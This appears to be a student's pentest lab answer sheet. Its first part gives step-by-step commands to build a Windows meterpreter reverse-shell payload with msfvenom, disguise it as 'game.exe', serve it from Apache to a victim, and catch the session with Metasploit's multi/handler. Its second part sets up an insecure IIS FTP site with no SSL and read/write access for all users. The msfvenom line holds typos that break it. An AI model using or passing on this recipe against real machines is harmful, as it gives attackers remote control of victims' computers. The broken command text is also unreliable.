Question 1:

Create payload for windows

step1: open terminal in kali Linux

Step2: type command to make payload

“msfvenom -p windows/meterpreter/reverse\_tcp --platform windows-a x86 -e x86/skikata\_ga\_nai -b "\x00" LHOST=192.168.43.45 -f exe> /var/www/html/123/game.exe”

Transfer the payload to the victim’s machine.

Step1: apt install apache2 (to install apache server)

Step2: mkdir var/www/html/folder name (to make folder in html directory)

Step3: start the service of apache server (systemctl start apache2)

Step4: open chrome in victim’s machine

Step5: search http://ip address of apache server/folder name

Exploit the victim’s machine.

Step1: type msfconsole (to start Metasploit)

Step2: after that type use multi/handler

Step3: type set payload windows/meterpreter/reverse\_tcp

Step4: type set LHOST [your ip address]

Step5: type exploit -j -z (to start session between victim’s and your machine)

Step6: now start session by typing sessions -i 1

Question 2:

Create an FTP server

Step1: go to tools in server manger

Step2: select Internet Information Services (IIS) Manager

Step3: select WIN server and right click it and select Add FTP Site

Step4: write name in FTP site name

Step5: In Physical path give path c:\inetpub\ftproot

Step6: tick on no SSL

Step:7: In Authentication= basic

Authorization= All users

Permissions= read and write

Step8: select finish

Access FTP Server from windows command prompt

Step1: start pentest win-2016 machine

Step2: open command prompt (admin)

Step3: type ftp ip address of victim machine